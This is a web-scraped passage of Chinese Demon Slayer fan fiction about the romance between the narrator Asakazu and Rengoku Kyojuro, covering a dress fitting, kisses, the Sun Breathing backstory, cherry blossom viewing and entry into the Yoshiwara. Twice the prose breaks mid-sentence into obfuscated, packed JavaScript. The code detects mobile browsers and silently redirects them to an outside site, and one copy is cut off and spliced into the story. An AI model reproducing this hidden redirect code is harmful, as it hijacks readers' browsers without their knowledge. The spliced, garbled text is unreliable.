只是试装,她没有刻意模仿游女们将我的面部敷白,只在眼尾用朱砂勾勒出一道上扬的眼线。 “超好看!”须磨立刻热情地夸奖道。 我正想说些什么,推门却被轻声敲响。 “朝和。” 杏寿郎的声音从屋外传来,雏鹤三人对视几眼,我眼睁睁瞧着她们偷笑着一起退了出去。 “请进去吧,炎柱大人。”她们异口同声地说道。闻言,我大吃一惊。立刻转头回去,背对着门。 推门拉开的声音在此刻毫无遮掩,显得格外明显。 我能从镜子中看到炼狱杏寿郎走进屋内的身影。 出院后他习惯穿回鬼杀队的队服,照例披着属于炎柱的羽织,象征正义的挺拔身形逐渐走近,莫名的情绪却萦绕我的心头,叫我始终想要避开——避开什么?至少避开他的视线!我确实见到镜中的自己,是从未有过的装扮,但我不知这副样貌在他看来又是如何——“朝和。”他并没有作出旁的反应,只是轻声叫着我的名字,可当这二字的发音从他喉间发出,连带着他喉结上下滚动的颤音也紧缀着飞了出来。 炼狱杏寿郎最终止步在我身边、轻轻跪坐。他一手撑在我身侧,倾身向我逼近,我试图仰后去躲,然而这周身的装扮与繁复的发型却让我的脖颈深感有心无力,只能侧过头。本是避无可避的死局,我总要被他发现。万幸我眼尖地发现原本躲藏在发饰之间的金色桧扇,薄薄的扇面张开后阻挡不了什么,却能掩盖此刻在我脸颊上升腾的热意。 奇怪,真奇怪,我本不该感到不安,又或者这种情绪并非名为不安。难道我不曾和炼狱杏寿郎近身相处过?可偏偏今时今日,此刻的现在,他伸手抵住桧扇时,我已然清晰地感受到源自他身体中的那股热量。这会儿我真觉得自己正身处花街之中,等待着他来拯救我离开这危险的浓夜。 便是不去看,我也可以清楚地猜到他脸上流露出的表情会是怎样的温柔。原本线条锋利的眼睛此刻因注视我而微眯,高昂的眉毛压下,“朝和。”他反复唤着我的名字,让我在听见这熟悉的发音时心头微颤。要怎么形容,在我们这段关系的拉扯中,他总显得游刃有余,我便落了下风了。 桧扇被他握着我的手收起时,我听见自己胸腔中正活跃的那股热源是如何鼓动,那声音大得不能分辨。 他凑得很近。 近到我们可以交换呼吸。 炼狱杏寿郎没有说话,维持在我们之间勉强平衡的静默随着他伸手捏起我的下巴而沸腾。我顺应他的力气鼓起勇气、摒弃羞涩,抬眼去望他,却不知该如何反应,只是脸上的红晕烧得愈发热烈。我们清楚看清彼此眼中的自己,而那赤金色的火焰与千岁绿的深湖都并不平静。 这样的时刻既漫长,又无比短暂。 “非常美丽。”他低声赞叹。 当我想再次躲避时,尝到他一触即分的吻。 34. 刀镡 嗯,我正在发呆,这显而易见。思维顺着眼睛能看到的尺度无限地铺开,只要不停下思考,就能一直蔓延到宇宙的深处。只有这样,我才不会经常回想起方才—— 我们已经离开宇髓大人他们暂居的住所,到达蝶屋很久了,可是耳垂上灼热的温度一直没能降下去,匆忙换回衣裳后,我只勉强收拾好脸颊上的赤红。而炼狱杏寿郎现在还总是若无其事地侧过头打量我,我转过视线躲避他目光灼灼的注视。 “在害羞吗?”再一次避开他眼神时,他忽然问道。 问得太直接了!我深吸一口气紧紧闭上眼。 “朝和。”只要得不到直白的回应,他就会压低声音,而叫着我名字的那几个音节却离得格外近,几乎压到我的耳畔。无论是他的呼吸还是他本身的存在感,都携着高热无比靠近我,即使失去视觉,也能清晰感受到。我向来是喜欢听到他叫我的名字,但是我也有些害怕了——猛地睁开眼看向他时,他贴得很近,那正在翕动的长睫根根分明,轻柔地扫过我全部的视线。 “你!你怎么可以……突然亲……”我的舌头开始和牙齿打架了,话还没说完,就因为底气泄了一半而低下去。 “嗯?”他像是没听清,或是无法理解我所说的内容,满脸疑惑地追问:“什么?” 我当然不会相信他这拙劣的演技! “杏寿郎!”他绝对是故意的! 炼狱杏寿郎究竟会做什么样的事呢?他在我的印象中曾经和此刻的形象全然无法重叠,从前他是一个高高在上需要我去仰望的存在,即使他会护在我身前或是夸奖的抚摸我的发顶,那种无法触及的距离感始终存在。 但此刻他主动走下来,甚至站到我身边。我知道我在渴望着他,这种情感从许久之前就已诞生,从此像河流般铺开,无声无息地蔓延出层层支流,一发不可收拾。 而他正在回应我,温热的手牵着我的,赤金色的双眼无比专注地凝视着我,他带着笑意,阳光洒落时将他赤金的发尾熔化模糊,如带着一层柔光,他原本带有锋利线条的五官也瞬时柔和下来。他一直在观察我的表情,目光如有实体。他求知若渴:“不可以亲你吗?” 但这问题要我怎么说啊! 可是他用目光紧紧地追随着我的答案。 “不是不可……” 艰难地从喉头挤出的句子还未说完,他再次突袭,在我反应过来之前又一次将气息彻底拉近。唇瓣相触,他依然没有深入,却也与上次截然不同。 没有一触即分,我们干燥的嘴唇紧贴着,他没有闭上眼睛,我也没有,我们看着彼此。在那片刻的时间里,思考能力从我的躯体中丧失,心跳声也归于寂静,而让我的意识专注得只有面前的炼狱杏寿郎,他衣服上熏染的香味带着种莫名的熟悉感将我笼罩,我几乎以为自己彻底坠进名为他的火焰中。 他用犬齿的齿尖啄起我下唇的唇肉,轻轻地碾。 等到他再次离开,我才后知后觉地发现我们像极了一对亲吻鱼。而智识也梳理完心情重新回归我的脑海,因羞涩与惊讶并具而滚烫的情绪瞬间冲上大脑,紧张让我无意识地紧握他的手,最终表现成愣愣地瞪着他。 他朗声大笑起来。 我总在反问自己:他已经属于我了吗? 我相信自己的爱带有独占欲与自私性。 等到炭治郎他们回到蝶屋,我还在因为羞耻而拒绝同杏寿郎说话。所以他们三个推开院门时,看到的场景就是我和杏寿郎隔得远远地坐在蝶屋的游廊下。 这段时间炭治郎他们几人只要空闲就都住在蝶屋,一个多月来一直重复着外出灭鬼、回蝶屋治疗休整、再次外出灭鬼的作息。这经历没有白费一分一秒的时间,再次见到他们,无论是身体还是气息,其强健程度都远胜过上次见面时。 “炼狱先生!有栖川小姐!”三个少年活泼地小跑过来,给蝶屋静谧的庭院也带来蓬勃的生机。 我和杏寿郎不约而同地站起,向他们走去。 不等他们因为方才的违和感询问出声,杏寿郎已经大力拍上炭治郎的肩膀,他赞赏地点点头,“很不错呢,灶门少年,肌肉也凝实不少!” 确实。 鬼杀队中体形壮硕的不在少数,不说岩柱与音柱两位,还有风柱常年敞开胸膛展示肌肉,而炭治郎他们三个则是和炼狱杏寿郎同款的类型,咖啡色的鬼杀队队服掩盖了一切,没人能单凭他们的外形来判断布料之下究竟藏着怎样充满力量的身材。 “最近感觉怎么样?”杏寿郎很满意他们三个,尤其是炭治郎。如果他的身体已经恢复到先前健康的时候,我想他一定会正式收炭治郎做自己的继子。 新技能实操总会遇到各种问题,他们就一些呼吸法运用上的问题开始讨论,而杏寿郎一一为他们解惑。 他有着教导他人的经验,这是许多别的柱所不具备的,就像天才往往很难理解寻常人的难处——这道题原来还能这样错啊——杏寿郎却能理解每一个人的每一个问题,这是他的本性:对于他人的体谅与照顾是构成他性格的主要因素,而他对他人情感起伏的敏感,则推动了他意志的健全。 我看着杏寿郎认真的侧脸,任何认识他的人都会喜欢他。 我的家人也毫无例外。 从我正式去拜访炼狱家后没过几天,杏寿郎就带着礼物前来了。和我沟通后,他遵循着从前规矩的要求提前送来预约时间的拜帖,和纸上他用毛笔亲自书写的字迹刚毅端正,字如其人,便是不太能欣赏日本书法的父亲也赞叹不已。 那天家中装饰一新,所有人都退却需要外出的琐事,也谢绝外客前来。 父亲比任何人——特指我——还要紧张,他几乎坐不下来,不一会儿就要站起身在外走动几步,再回来时死死盯着墙壁上高挂的时钟,秒针嘀嗒嘀嗒,如果父亲的目光有温度,现在钟已经融化了。 母亲要淡定些,她之前并未见过杏寿郎,但也了解炼狱家。鬼杀队中的炎柱世家,仅是这点就足够拉高她的好感,更别提前一天晚上她悄悄向嘉泽乐和肖恩打听炼狱先生的相貌、品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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刀镡,构成刀的主要配件,是刀身与刀柄连接处用以保护手的护具。名刀所装刀镡往往制作精美华丽,装饰有家纹一类的纹样,是一柄刀或者持刀人灵魂的体现。 现在,炼狱杏寿郎将那枚凝固的火焰赠予灶门炭治郎。 红发的少年睁大了眼,不可思议让他脱口而出的语速加快:“不!炼狱先生,这个太重要了,我不能收下……” 杏寿郎没有接受他的推拒,而是将刀镡往炭治郎的方向又递近了。“我希望你能收下它,”他看着面前的少年,似乎能够从中看到自己的影子,但是他的路永远不会行进得那么孤立无援,“我希望它能护佑你。” 他微微阖眸,曾经紧握自己的日轮刀时,手指顶在刀镡上的触感依然存在,而他借此拔刀出鞘挥出的每一剑,都由这枚刀镡链接。他不知道他们究竟能有多远,但是他们的目标是同样的。 炭治郎沉默地从杏寿郎手中接过刀镡,紧紧攥住。 如一个远大的任务在此交接,他们传递着灵魂的认证,得到认可的接引,成为能够代表对方的同路人。从这枚刀镡开启,从此一路武运昌隆。 35. 嵯峨野 日常穿着的衣物随着樱花盛放而逐渐减少,这意味着天气逐渐转暖,不知不觉中我们度过了一段很是自在悠闲的时光。 没有太多麻烦事打扰,甚至没人听闻有下弦之鬼出现,上弦就更是,偶尔发生鬼侵扰平民的事件大家也都能用损失极小的方法解决,东京的繁华与安宁几乎让我以为我们已经处在彻底和平的时期。 平静的日常让我重新安宁下来,不仅是说生活节奏,也包括我的灵魂——毕竟人人都知道长期处于紧张状态下容易引发心理疾病。 我没再到处奔波,母亲也酌情为我减少了譬如礼仪之类的课程,我有了更多的时间可以挥霍,空闲的时候我开始阅读梦枕貘的《阴阳师》,那种对我而言仍然有些生涩的古典叙述手法在我的想象中展开一幅生动且魔幻的画卷。 我时常觉得阴阳师们退治百鬼与鬼杀队灭杀恶鬼有着相似之处,只不过安倍晴明的故事变化成传说久远地流传至今,而杏寿郎他们的故事则隐藏在黑夜中,太阳升起后无人知晓。 莫名地,我想要拿起笔为他们记录一些什么,不过,这也还只是一个零散的“突发奇想”。 更多的时候,我都在埋头整理炎柱家的手札。历任炎柱大多有着共同的特点,除去发色瞳色与性格这些屡见不鲜的要素,竟然连他们的字迹都有着相似的笔锋,用字如其人来形容的话,就是每一任炎柱都有着极其相似的品性:热忱、乐观、开朗之类的。 在刚取回手札后的几天,我其实已经与杏寿郎一同将这些书册翻看完毕,老实说手札中并无什么特别的,便是最早记录的内容中也对鬼的出现不甚明了。我不确定这是刻意的删减还是确实无从得知,但是至少如今的我们对于鬼——无论是上弦之鬼,还是那个统领着他们的“鬼王”都毫无了解。 我讨厌未知。恐惧对于人类而言绝非来自于困难或者威胁,而往往来自于未知。我想搞明白这一切,而这个念头在我翻到“第二十一代炎柱之书”时彻底爆发了! 第二十一代,大约在五百年前,那时日本还在室町时代。锈红色的封面有着摩挲后老去的痕迹,从书页上也可以看出这本书经常被人翻阅,我和杏寿郎都对它抱有相当的期待,然而……翻动书本时随着惯性最终摊开的页面上,数张和纸被撕得七零八碎,各种不规则的撕裂痕迹遍布纸页,将所有语言断绝成无法连贯的文字。 “怎么会这样……”我不觉喃喃出声,转头看向杏寿郎时发现他神情凝重地盯着那些破碎的纸页。 杏寿郎有些出神地接过那本书,他从扉页翻到封底,最后将书捏在手中,“我从前经常看到父亲翻看这本书。” 咦? “他一直只看这本书。”他将回忆中曾经看到过的景象回放,最终凝缩在这本炎柱之书上。 面目全非的纸页完全无法进行阅读,而槙寿郎先生格外关注的那段最重要的历史则被如此隐藏。 于是我们带着那本书再次前往炼狱家拜访。原本应该一同叫上炭治郎的,但是不巧那几日他恰好外出执行任务。 这一天槙寿郎先生没有外出,而是赋闲在家,他像是一早就知道我们会前来似的静坐在和室中。比起上次见到他时,现在的他看起来才有了一点外祖父口中那个“热情乐观”的炎柱的样子。 “那本书……被您撕掉的那些……”仿佛解开谜团的钥匙已在眼前,我们渴望着从槙寿郎先生口中得到指引。 但我总怀疑自己是否看错了那一瞬间炼狱槙寿郎神情的变化,那双燃烧的眼瞳中骤然压过去的晦暗究竟是什么? 他神情严肃,如在墓地缅怀,刚毅的剑眉下压,而时间流速的缓慢让这分秒过得无比漫长,我几乎以为他不会解释了。槙寿郎先生才慢慢地说道:“四百多年前,正是第二十一代炎柱的时候,鬼杀队接收了一个年轻人。” 那可真是好久以前的故事,如同一个童话故事的开场:很久很久以前—— “继国缘一。那个年轻剑士的名字。”槙寿郎先生极力保持着面无表情,然而他逐渐下沉的声音已经带起面部肌肉隐约地失控,“如今我们使用的呼吸法,最初就是由他创造的——日之呼吸——他将呼吸法传授给鬼杀队的队员后,才在当时的柱们研究下产生了五大基础呼吸法。” 日之呼吸! 并非寻常任何一个字眼,而是“日”,那个代表着鬼们生来死穴的意象。被用这个字来命名的呼吸法,仅是听说,就让我隐隐感觉到一种不可言说的压力。 而且这样说的话,从前二十代鬼杀队的成员们都不是使用呼吸法,而是以肉身之力与鬼对决,有这样一位能够创造出呼吸法的天才剑士加入,对于鬼杀队来说难道不该是一件好事吗? 我问出了自己的疑问。 “好事吗?”槙寿郎先生闭上眼,继续向我们一一道来,“在他加入后,鬼杀队的确进入了一个非常繁盛的时期。日之呼吸的使用者,他即是天选之人,额上生有红斑,戴着花纸耳饰,是任何鬼的克星。哪怕对上鬼王鬼舞辻无惨,他也毫不畏惧。” 转折向来藏在剧情的高潮之后。“……但是他失败了,他没能斩杀鬼舞辻无惨,而且后来跟随他加入鬼杀队的他的兄长,砍下时任主公的头颅叛逃投靠了鬼舞辻无惨。”槙寿郎先生翻开那本炎柱之书,仿佛能从那些撕痕凌乱的书页上发掘出什么,“他被逐出鬼杀队。在主公的默许下他与部分柱保持着联系,其中就包括炎柱。” “而在他死后,鬼舞辻无惨的报复汹涌而至,他杀了所有被继国缘一亲自教导过日之呼吸的剑士,鬼杀队因此陷入崩坏状态。时任炎柱将这件事记录下来,但是从此之后再也没有一个人像继国缘一那样擅长指导剑技,也再没有一个人能使用日之呼吸。”仿佛想要将身体内常年郁结的烦闷一同抛出体外,槙寿郎先生重重叹了口气。 说着,他有些歉意:“那个孩子,灶门——据称,日之呼吸的天选之人,生来便在额上有红斑。”但是这歉意很快被另一种蓬勃的情绪盖过了,很难形容究竟是惊是喜,槙寿郎先生的表情既有阴沉又掺杂着凝重:“还有那对耳饰,我绝没有看错。他有着与众不同、更强的力量。” 炼狱杏寿郎还在医院休养时我曾询问过列车上发生的事,他同我说起过:火之神神乐,由炭治郎他们家族世代相传的神乐舞,他曾用来与鬼战斗过。那会是与传说中的日之呼吸有关的东西吗? 我们原本是为了解惑而来,如今却带走了更巨大的疑惑。而四百多年前发生过的事,似乎正影响着此刻的我们。 送我们离开时槙寿郎先生表示自己与炭治郎初见时非常不礼貌,该写信向他致歉,不过,我和杏寿郎都一致认为,我们该亲自去告知他日之呼吸的故事。不过他外出执行任务实在不便打扰,只能等他回来后再去拜访。 从炼狱家回去后我便闭门在家注意整理历代炎柱之书,试图从中发现一些之前遗漏的细节。而我专心致志的程度令父亲母亲都倍感惊奇,甚至主动宽慰起我,劝我外出散散心,好好休息一番。正是在这时候,我收到从前一块儿做伴的几位高门小姐去赏樱的邀请。 于是,就在这春盛时节,我没错过自己回到日本后的第一次赏樱。 我原本以为赏樱的地点会是在东京附近,但是打开邀请函仔细阅读后,我才知道我们是要一直去到京都附近的岚山赏樱。我真庆幸提前向杏寿郎留了消息告知他今日会外出游玩。 先前因为杏寿郎的事,我以身体不适为理由推拒了不少邀约,今日一见面,小麻雀们便叽叽喳喳地凑上前来询问我的身体状况。我当然告诉她们已经无恙了。 “您今天看起来真不一样。”说这话的是高桥小姐,她是所有人中我最相熟的,之前也曾到有栖川家拜访过几次,我招待了她,与她相处甚欢。 与先前见到她们的每一次都不同——之前她们几乎都不穿和服——许是因为要前来京都赏樱的缘故,今天大家都穿着和服,有传统的振袖,也有改良过的具有西洋风格的款式。 我有些庆幸早起时没拒绝嘉泽乐的搭配,当她为我将黑发梳成马尾扎在脑后时,我看着身上白底牵牛花纹的二尺袖与柑橘色的海老茶袴,觉得自己仿佛变成日本女校中的一个学生。哦,为了要远足,我还特意穿了靴子,听说这是如今正流行的穿法,极具有西洋气息。 不必我回答些什么,高桥小姐已经牵起我的手跟着大家往前走去。 我知道京都,当然,这没什么不应该的,但是对于岚山却并不怎么熟悉,可能很小的时候我曾到过那里——但那时我一定还被抱在怀里,或许是父亲,也或许是外祖父——而我已经对当时的情景毫无记忆了,便只能认为自己从未来过。 高桥小姐热情地向我介绍起岚山,她总能将那些具有历史意义的事件说得格外引人入胜:“您有读过《源氏物语》么?” 太可惜了,并没有。 不过这并没有影响到什么,“平安时代,天皇曾在岚山附近建有行宫,在那时,嵯峨野就已经是人们赏樱的好去处了。”我看着高桥小姐,心想:在那时,她的家族或许就已经负责为天皇制衣了。 日本处处都有樱花,处处都能赏樱,然而嵯峨野能脱颖而出,自然有着与众不同之处。嵯峨野位于岚山北方、小仓山的东麓,逐渐攀升的山脊上堆叠着层层盛放的绯樱,在山脚时放眼望去就见满目的粉云,其间夹杂着竹林与小径,俱是闲来赏樱散心的游人。 我们跟着前行的人流排队坐上一列小型列车,款式看着有些老旧,车厢半封闭,挨个坐到位置上后,直到小火车启动我们才意识到车窗外将会掠过怎样惊人的美景。无数缀着春樱的枝头挤挤挨挨地伸向窗口,正在微风中向我们点头示意。一路驶去,如分开樱色的海洋,穿过一片浪漫的生机。 而高处,在竹与樱的映衬下,间或露出一个斜角的建筑端庄竖立,同行的其他小姐告诉我嵯峨野上坐落有好几间寺庙。 小火车行经的路线不长,听说前方的道路后续即将规划施工,届时便可一直乘坐列车前往龟冈。 下车后这天的行程便也快结束了,大家都变得兴致不高,尤以高桥小姐为甚。她性子有些内向,相熟后却很好懂,表情总不太能掩藏起来,叫人一眼能够看透。 “怎么了?”我便问她,“是累了么?”我很喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613433|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,有时觉得她可爱,便忍不住拿对待小朋友的语气哄她。 高桥小姐摇摇头,她思考再三,忽然问道:“有栖川小姐秋天时还会在日本吗?” 我不解地眨眨眼。 她便解释道:“岚山的秋天有美丽的枫叶,还有节日祭典。如果那时您还在日本,我们可以一同来赏枫。”像是怕我拒绝似的,她又着急地补充道:“岚山的红枫真的非常美丽,您一定会不虚此行的!” 如果此刻被问的是刚到日本的我、又或者哪怕是四个月前的我,或许我都不会给出这么坚定的回答——那时我在想什么?跟随父母一同来到日本后,最初的新奇散去时我觉得这里也没什么不同,我时常想起大不列颠,想起庄园内种满的月季、想起猎场的草场、我的小马、教堂的钟声等等等等。 但是很快,随着我逐渐走进夜幕之下,这一切的一切都渐渐被替代了,出现在我梦境中的夜晚总种满盛放的紫藤,硕大的圆月之下并没有鬼,相反,有的只是一个穿着带有火焰纹羽织的背影。他握着刀,半扎起的金发发尾赤红——炼狱杏寿郎。在梦里他留给我的最初只有一个背影。 而天亮之后,他所占据的地位越来越重要。 父亲说,他是在明治维新之后跟随家族贸易的船只来到日本的,最初只是打发无聊的一次外出,那时的东京远没有如今热闹,到处只有低矮的木屋,便是最繁华的街区,也只零星有些西洋的产品,这被黑船开国后蜂拥而来的外国人认为是一个巨大的商机。 明治时期,女子的国民教育权才被全国普及,母亲当时正就读于一所女校,空暇时便跟随隐退的鬼杀队成员练习剑道。明治维新后武士的地位一再降低,人们不被允许带刀出行,那位前鬼杀队成员便在有栖川家的支持下开办了一家道馆进行基础剑道的教习。 日本有句古话叫黄昏乃是逢魔之时。但事实上,危险更在黄昏之后。父亲独自一人闲逛到道馆附近时才发觉天色渐深,他回头张望着来时路时意外遇到了鬼。听到开枪动静的母亲与那位前辈救下了父亲,看着夜色中不甚熟练地用英语询问他状况的母亲,剧烈的心跳声毫不犹豫地告知他的心动,为此父亲决定暂时留在日本,他自学日语。对母亲展开了热烈追求。 每当父亲同我说起这段过往时,他总告诉我不要怀疑自己内心的感受。 而我内心的感受…… 我牵起高桥小姐的手想要告诉她,然而半空中一声粗粗的鸦鸣却吸引了所有人的注意。 我已经能够轻松从一群鎹鸦中辨认出要,在我看来它与别的鎹鸦截然不同。 在出发前一天我便同杏寿郎说了赏樱的行程,他很是认同地点点头,一再表示像我这样的女孩子本就应该多去外面逛逛。当我反问他想不想和我一起去赏樱时,他才笑起来:“我们还有未来,朝和。” 他伸手捏了下我的脸颊,我发现他现在小动作不少,“而且日本的樱花季也没有那么快结束。”说着,他告诉我明日也将外出去往京都附近的岚山,炭治郎正好解决完一个任务在岚山处的藤之家休息。他准备前去告诉他日之呼吸的来历。 我们一同坐上出发的列车,这趟列车平安且准时地将我们送达目的地。炼狱杏寿郎向我保证我赏完樱后他会来接我。 “咦?那位是?” “他的发色好奇怪……” 小麻雀们再次轻声咬起耳朵,而我当然知道他们讨论的对象是谁。当其中一位小姐挽住我的手臂惊叹道:“你看,有栖川小姐,这位先生好英俊啊。”我不免失笑。诚然,我认同他们的观点,但我也不能忘了方才的事。 我牵起高桥小姐的双手,向他承诺道:“等秋天的时候,再一起来赏枫吧!但是可千万别让我失望啊!”听闻我的话,高桥小姐欣喜地用力点头。 炼狱杏寿郎已经走到近前。他今天又没穿鬼杀队队服,挺拔的身形将那条和服衬得格外好看,休养至今,他的身体已经完全无恙了,只是眼睛还需戴着眼罩避光。 随着杏寿郎的靠近,小麻雀们的讨论已经从他的外貌转移到他的来意。 我能感受到他的目光落在我身上,与他相似,带着熟悉的温度。杏寿郎朗声开口:“朝和。” 与预料之中一样,他优先叫出的总是我的名字。 “朝和,那不是您的名字么?” “咦?他是来找您的吗?” “有栖川小姐您认识这位先生吗?” 她们七嘴八舌地将惊奇抛向我,我只能微微笑着点头应声,脸颊上忽地升起热度。但我没说别的,原本还脱口而出的介绍这会儿藏身喉口,我准备好了,但我没能说出,只能用双眼直白地注视着杏寿郎。 “几位小姐日安,在下炼狱杏寿郎。”他回望我,我们便四目相对,他当然知道我在想什么,“我是朝和的恋人。叨扰各位了。” 在大家惊讶的呼声中他向我伸出手。这是他第一次向我伸出手,翻开的掌心向上,他正等着我将手心安放其上。我当然不会让他失望,小步跑向他,将手轻轻与他的张贴,如同命运相连。 “那么,我就先带朝和离开了。几位再会。” 36. 迷乱 香甜的脂粉气味流窜在入目可见的每一寸空间,在不可用词汇形容的世界借由亮如白昼的阑珊灯火、与那一幢幢涂有精美彩漆造型方正的木质和屋重新构造出一段不同于白日的繁华。 街道两侧紧挨着的那些两层和屋中晕染出的灯光早已胜过耀日,喧闹中或凭栏而立的女子,或微微推开阑窗露出小半侧脸引人遐思的女子被束缚在一件件紧绷的和服中,她们笑着送往迎来,然而客人——街上来去的客人,穿着和服的、穿着西服的,有的看起来才是学生,有的已经谢了顶——无一例外,只有男人。 这儿没有什么旁的,无非是销金窟,金钱和情欲共化作黏腻的滩涂,绮丽到几近糜烂。 我看着象征花街伊始的门楼,造型精美的拱形顶端有一个雕刻优美的捧灯小像,那制作者的技艺一定很精湛,将女子闭目时的温顺柔美用婉约的造型完美体现。 身穿深色短打的人力车夫拉着我们一刻不停地向前跑去,两侧春深时萌发的茂枝也在灯火映衬下变作红艳艳的一片,接着向前长去,随着沿路亮着的灯笼中烛光跳跃,将眼前所有都盖上艳红的影子。 花街只是这片区域的统称,在此处也并非单指一条街道,更官方点的说法是:吉原游廓。片状分出的区域内以两条相交的主街为核心,那些红袖招摇的花楼则呈散射状布满周围。我回忆着之前为那位小姐庆生的酒馆,它所处的位置远没有我这次来得这么深入,想必也是蹭着花街的名号招揽客人。 人力车最终停在两条街道交接的路口,从那辆包裹了鲜红色绒布的漆黑座驾上下来时,即使我已经真切地踩在地面上,仍旧有一股巨大的不真实感升腾而起,包裹住我。 炼狱杏寿郎比我先下车站定,今天他没穿鬼杀队队服,而是穿着和我身上颜色相似的和服,区别在于我加了一件纯色羽织用来掩盖身材的“单薄”。在我面前站定时,他拉过我的一边手腕往他的方向拽近了些。我顺应他的力道,注意力则观察着周围。 “朝和之前来过花街吗?”他好像对我有着一个奇怪的认知,觉得我是那种好奇心极重又胆大无比的人,总想着去任何陌生的地方探索——好吧,可能我真的会,但是我的确没有真的深入过游廓内部——这儿有着不成文的规则,会出现在花街上的女子要么是游女屋的娼妓,要么即将成为娼妓。 男人的目光带有侵略性,时刻扫过一张张容貌姣好的年轻脸庞,内心评估着价码。 “只在前几年听母亲说起过,当时吉原大火烧死了很多人、烧毁了成片的建筑,消息甚至传到了英国。但是没想到……”我们沿着街道行走,看着周围燎燎的灯火与木质建筑,心里对这大火的起因了然了,“这么快就恢复了,一点火灾的痕迹都没有。” 母亲说起这件事时的神情我还记得,她语调中的悲哀此刻再想起便深刻地勾住了我的同感。对于这里,一场火灾和一个艺伎的死亡没有什么差别。 “明治时代,艺娼妓解放令出台后,游女屋改名为贷座敷,但是对于深陷其中的女子们并没有什么改变。”杏寿郎声音平静地叙述着事实,他在看着前方,似乎是在观望那幢幢灯火,也可能是在侦查擦肩而过的各色行人。 然而无论怎么观察,吉原的今夜都毫无不同,与往常的每一夜一样繁华奢靡。 我把问题抛回去:“杏寿郎之前来过花街吗?” 他没有立刻回答,而是伸手捏着下巴作出思考的表情,“之前曾经来查探过。毕竟吉原在东京都地区,属于我的防守范围。”他想起什么,朝我笑起来,“之前,我们不就在这附近见过一次吗?那时你成功抓捕了一个鬼,而我和宇髓同行,来给你送箱子。” 我当然记得!那确实是许久以前的事了,但是与他相关的事,即使没有“第一次”这样的特殊意义依然清晰无比,无论那个夜晚的小巷多么黑暗,在我的回忆里总是闪闪发光的。 “那个时候我就觉得,朝和——真厉害啊!勇敢、果断,而且强大!”溢美之词从他嘴里源源不断地流淌出来,这大约有点感情的加持,叫他对我的判断叠加上无数的增强,但看他信誓旦旦的样子没人会质疑他的言辞,况且我实在受用。 我点点头,正想趁机叫他再多夸一点,但是念头在舌尖打了个转,让我想起有着紫色双眼的雏鹤夫人。按照时间推算,宇髓先生察觉花街有异已经是大半年前的事了,但是他扮成顾客多次查探却毫无发现,直到近来他的三位妻子假作游女的身份混入游廓才将范围逐渐缩小至三家花楼。 “我们先去哪里呢?”我问道。自从知道三位夫人都失去消息之后,我就一直倍感担忧,再想起那天宇髓大人找上门来,我都不敢想象他原来也会露出那种表情,那种夹杂着慌乱的心神不宁的忧虑。 他沉着声音讲述情况时,将整个午后的阳光都抹消了。 “三位夫人都失去联络了吗?”我怔怔地看向他,甚至觉得自己听错了。然而看到宇髓天元点头时,不安便登时攀爬上心头。 杏寿郎要冷静得多,他们有着更丰富的应对经验,能在相同事件中提出不同发现:“是同时失去联络的还是依次失去的?”分散在三座花楼中的三位夫人,如果是同时失去联系,就说明游廓之中或许存在不止一个鬼。 更何况,宇髓的妻子都是身手矫健、擅长战斗的忍者,随身配有进入鬼杀队后用猩猩绯砂铁和猩猩绯矿石特制的忍具,对付寻常的鬼不成问题。 “时间差不太多。”宇髓回忆道,“最先失去消息的是须磨,她在时任屋。后来是在京极屋的雏鹤。槙於在荻本屋,她是最晚失去联络的。” 怎么会这样……不安催促我看向杏寿郎,我本能地想靠近他,试图从他那里获取一些镇定的力量。但是他的神情也压了下来,他回忆起猗窝座时眼中含着同样的沉重,那情绪让感官失灵,无限回放着那个不死不休的夜晚。 “如果对方是下弦之鬼,无论再怎么小心总能发现马脚。”他们对视一眼,多年来共事的默契已然让对方了解未尽之言。或许花街中潜藏着上弦之鬼,而与上弦之鬼交过手的炼狱杏寿郎并不能够杀死他。杏寿郎的战斗力在众柱之间也属前列,以命相搏,宇髓亦非敌手。 杏寿郎建议他最好再找一位柱来帮忙——他说出这个建议时正想着什么?如果无限列车上除他之外还有一位柱,是不是就有可能灭杀猗窝座了?如果现在他彻底康健,且有刀在手,是不是就能陪同宇髓一起进入花街驰援了? 然而过去没有假设、无法改变,此刻已成定局、难以更改。他什么也做不了。 我伸手握住他交错在一起的双手,紧紧地。 烦躁总在压迫神经,后遗症是心跳加速、呼吸过快、思维迟缓。可怕的是,这些都是忍者的大忌。宇髓不耐烦地抓抓前额,绑缚着的白发垂落些许,他起身离开时表示打算去蝶屋寻找帮助。 但让我在知道这事之后在家干等消息实在是无法接受。而且从宇髓先生离开后,从杏寿郎垂眸沉思的神态里我也猜到他绝不会这样置身事外。 “我们也去花街查看一下吧?”但我怎么可能让他孤身前去——最近闲来无事,我在教炼狱杏寿郎使用枪支。黑船撞开大和的国门后,来自本岛之外新世界的武器也一同流传进来,禁刀令的发布更是极大降低了武士阶级的地位,而让人们更多注意到火器。 我的父亲曾经同就蕃的一些大名也做过交易,在英国逐渐被淘汰的批次流通进日本后重新成为最优良的产品。 炼狱杏寿郎也接触过火器,现在鬼杀队中会使用枪支的人也有——那位风柱大人就对枪支弹药很感兴趣。父亲为我准备的是一把韦伯利转轮手枪,这款枪现在已经迭代到第Ⅵ代,小巧的体积,乌黑的金属枪身,鸟喙式握把,每一处线条都勾出凛冽,低调的恶意。而转轮中一次性可以塞进六枚子弹。 我拿着手枪摆出姿势,让杏寿郎观察。他站在一旁思量片刻,“手枪的后坐力如何呢?”指着我的手臂询问。 